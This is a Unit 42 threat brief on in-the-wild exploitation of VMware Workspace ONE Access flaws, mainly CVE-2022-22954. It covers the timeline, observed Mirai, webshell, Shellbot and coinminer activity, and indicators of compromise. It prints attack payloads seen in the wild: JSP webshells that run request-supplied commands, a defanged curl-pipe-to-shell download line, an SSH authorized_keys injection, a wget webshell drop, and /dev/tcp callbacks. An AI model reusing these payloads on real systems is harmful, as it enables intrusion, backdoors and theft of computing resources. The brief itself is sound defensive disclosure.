Threat Brief: VMware Vulnerabilities Exploited in the Wild (CVE-2022-22954 and Others)

Ruchna Nigam ⋮⋮ 5/20/2022

By Ruchna Nigam

May 20, 2022 at 6:00 AM

Category: Threat Brief, Vulnerability

Tags: CVE-2022-22954, CVE-2022-22960, CVE-2022-22972, CVE-2022-22973, VMware

Executive Summary

On April 6, 2022, VMware published a security advisory mentioning eight vulnerabilities, including CVE-2022-22954 and CVE-2022-22960 impacting their products VMware Workspace ONE Access, Identity Manager and vRealize Automation. On April 13, they updated their advisory with information that CVE-2022-22954 is being exploited in the wild.

Multiple writeups detailing exploitation scenarios for the aforementioned two vulnerabilities were published in the last week of April, finally followed by a CISA Alert on May 18. The CISA Alert also calls out CVE-2022-22972 and CVE-2022-22973 – published on the same day and affecting the same products – as being highly likely to be exploited.

Unit 42 has observed numerous instances of CVE-2022-22954 being exploited in the wild. In this blog post, we share context around this observed activity, along with how the Palo Alto Networks product suite can be leveraged to protect against it.

Vulnerabilities Discussed CVE-2022-22954, CVE-2022-22960, CVE-2022-22972, CVE-2022-22973

Table of Contents

Timeline for VMware Vulnerabilities

2022-04-06:
Publication of VMware advisory VMSA-2022-0011 regarding CVE-2022-22954, CVE-2022-22955,CVE-2022-22956, CVE-2022-22957, CVE-2022-22958, CVE-2022-22959, CVE-2022-22960, CVE-2022-22961.

2022-04-11:
Proofs of concept available on GitHub. This is also the earliest date at which Unit 42 observed exploitation attempts and scanning activity.

2022-04-13:
VMware advisory updated with knowledge of active exploitation of CVE-2022-22954 in the wild.

2022-05-18:
Publication of VMware advisory VMSA-2022-0014 regarding CVE-2022-22972, CVE-2022-22973. Publication of CISA Alert.

As of this writing, no proofs of concept for exploitation of CVE-22972 or CVE-2022-22973 are known. This post will be updated with new findings as they are discovered.

CVE-2022-22954 in the Wild

CVE-2022-22954, a remote code execution (RCE) vulnerability due to server-side template injection in VMware Workspace ONE Access and Identity Manager, is trivial to exploit with a single HTTP request to a vulnerable device.

The list below details the exploits Unit 42 observed targeting this vulnerability that we deemed worth highlighting.

Direct Downloads

The injected commands worth mentioning that intended to further download payloads to a vulnerable machine can be categorized into the following broad categories:

- Mirai/Gafgyt dropper scripts or variants
- Webshells
- Perl Shellbot
- Coinminers
- Scanning/Callbacks

Mirai/Gafgyt Dropper Scripts or Variants

We observed several instances of CVE-2022-22954 being exploited to drop variants of the Mirai malware. In most cases, the exploit was only used to drop the payload, however the payloads themself did not contain CVE-2022-22954 exploits for further propagation. Instead, they were either non-specific Mirai variants or contained previously known exploits such as CVE-2017-17215.

The exception to this is Enemybot, a currently prevalent botnet built with bits of code from both Gafgyt and Mirai source code. The exploits involving Enemybot eventually download Enemybot samples that themselves embed CVE-2022-22954 exploits for further exploitation and propagation.

Webshells

We observed the vulnerability exploited to download webshells, including:

- A basic implementation that read a GET parameter value, Base64 decoded it, and used a ClassLoader to load the result.
- The Godzilla Webshell that has also been used in previous campaigns exploiting other vulnerabilities.

Perl Shellbot

Certain injected commands result in the download of obfuscated Perl scripts. Deobfuscating these scripts reveals they are versions of the known bot family “Stealth Shellbot” that reaches out to an IRC server to listen for commands to perform. It has the ability to further make HTTP requests based on commands received. This would mean infected machines could then be directed to further perform scanning and exploitation activity, in addition to directly executing shell commands received from the command and control (C2) server on the target machine.

A complete list of indicators of compromise (IoCs) can be found at the end of this post.

Base64 Injections

```
echo 'whoareu<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputSt
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>' >> /opt/vmware/horizon/workspace/webapps/cas/static/backtom.jsp
```

Figure 1. An example of Base64 injection observed in the wild.

```
echo 'tomcat1<%
if("023".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputSt
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>' >> /opt/vmware/horizon/workspace/webapps/cas/static/tomcat1.jsp
```

Figure 2. An example of Base64 injection observed in the wild.

```
curl hxxp://202.28.229.174/so.txt|ba
```

Figure 3. An example of Base64 injection observed in the wild.

This last command downloads a shell script that ultimately downloads and executes an XMRig coinminer.

SSH Key Targeting

We also observed some instances of injected payloads that were either trying to read authorized keys on vulnerable machines or were writing into the authorized_keys file to add to the machine's list of accepted keys. Following is an example of such an attempt.

```
mkdir%20~/.ssh%20-p;echo%20'ssh-rsa%20AAAAB3NzaC1yc2EAAAADAQABAAAB…YjA7box1'%20>>%20~/.ssh/authori
```

Figure 4. An example of an injected payload trying to affect authorized keys.

Conclusion

Palo Alto Networks is still actively investigating a number of the aforementioned vulnerabilities, many of which do not have publicly available exploit code. Presently, customers may leverage the following to block or detect the threats communicated throughout this publication:

Palo Alto Networks Next Generation Firewall Threat Prevention blocks CVE-2022-22954 exploits with Signature 92483.

Cortex Xpanse was able to identify ~800 instances of VMware Workspace ONE Access connected to the public internet, and can be leveraged to enumerate potentially vulnerable instances within customer networks.

WildFire and Cortex XDR categorize all samples of supported file types as malware.

Additionally, all encountered URLs have been flagged as malware within PAN-DB, the Advanced URL Filtering URL database.

If you think you may have been compromised or have an urgent matter, get in touch with the Unit 42 Incident Response team or call:

- North America Toll-Free: 866.486.4842 (866.4.UNIT42)
- EMEA: +31.20.299.3130
- APAC: +65.6983.8730
- Japan: +81.50.1790.0200

As further information or detections are put into place, Palo Alto Networks will update this publication accordingly.

Palo Alto Networks has shared these findings, including file samples and indicators of compromise, with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors. Learn more about the Cyber Threat Alliance.

Indicators of Compromise

Mirai/Gafgyt dropper scripts or variants

- hxxp://51[.]81.133.91/FKKK/NW_BBB.x86
- hxxp://198[.]46.189.105:80/Ugliest.x86
- hxxp://135[.]148.91.146:1980/bins.sh
- hxxp://80[.]94.92.38/folder/enemybotarm64/
- hxxp://80[.]94.92.38/folder/enemybotx86/
- hxxp://80[.]94.92.38/folder/enemybotx64/

Perl Shellbot

- 193[.]56.28.202/.d/bot.v
- 193[.]56.28.202/.d/bot.redis
- 193[.]56.28.202/.d/botVNC

Coinminer activity

- hxxp://185[.]157.160.214/xms
- hxxp://103[.]64.13.51:8452/cnm
- hxxp://113[.]185.0.244/wls-wsat/root

Webshell downloads (full injected command)

- wget%20-O%20/opt/vmware/horizon/workspace/webapps/ROOT/error/report1.jsp%20hxxp://103[.]43.18.15:8089/13.jsp

Callback/Scanning activity

- hxxps://enlib2w9g8mze[.]x.pipedream.net

Direct Download exploits where payloads were no longer live at the time of analysis:

- hxxp://106[.]246.224.219/one
- /dev/tcp/101[.]42.89.186/1234
- hxxp://192[.]3.1.223/favicon.ico
- hxxp://20[.]205.61.88/payllll.sh
- 45[.]149.77.39:80
- hxxps://tmpfiles[.]org/dl/262822/a.txt
- hxxps://tmpfiles[.]org/dl/266116/vmware_log.jsp
- hxxps://tmpfiles[.]org/dl/262853/vmware_log.jsp
- hxxps://tmpfiles[.]org/dl/265385/xmrigdaemon
- hxxps://tmpfiles[.]org/dl/265351/shell.py
- hxxps://tmpfiles[.]org/dl/265326/cmd.jsp
- hxxp://107[.]191.43.86/start
- hxxp://107[.]148.13.247/4file
- hxxp://107[.]148.13.247/error.txt
- hxxp://107[.]148.13.247:7777/file
- hxxp://107[.]148.12.162:12345/log
- hxxp://45[.]144.179.204:9999/log

- /dev/tcp/193[.]56.28.202/443
- /dev/tcp/193[.]56.28.202/444
- hxxps://129[.]226.227.246/help.txt
- hxxps://20[.]232.97.189/up/4102909932.sh
- hxxps://20[.]232.97.189/up/d1bea27b13.sh
- hxxps://20[.]232.97.189/up/388e6567d5.sh
- hxxp://138[.]68.61.82:444

Sample hashes

801b23bffa65facee1da69bc6f72f8e1e4e1aeefc63dfd3a99b238d4f9d0a637
6d403c3fc246d6d493a6f4acc18c1c292f710db6ad9c3ea2ff065595c5ad3c5b
940a674cfe8179b2b8964bf408037e0e5a5ab7e47354fe4fa7a9289732e1f1b8
fdc94d0dedf6e53dd435d2b5eacb4c34923fadee50529db6f3de38c71f325e05
85143ecc41fb6aadd822ed2d6f20c721a83ae1088f406f29b8b0b05459053a03

bot.v
0b4b25fab4c922e752e689111f38957e0402fd83f6b1d69e8f43c6f4b68fc1ba
C2 server : 5.39.217.212:80
Channel : #vcenter getsome

bot.redis
48628ca95608a015f47506eb1dc6fad0cd04a4cf5d44fdb8f10255fe0aa3c29b
C2 server : 64.32.6.143:80
Channel : #redis getsome

botVNC
c399b56e1baf063ca2c8aadbbe4a2b58141916aac8ef790a9c29762ed1956bd5
C2 server : 5.39.217.212:80
Channel : #D getsome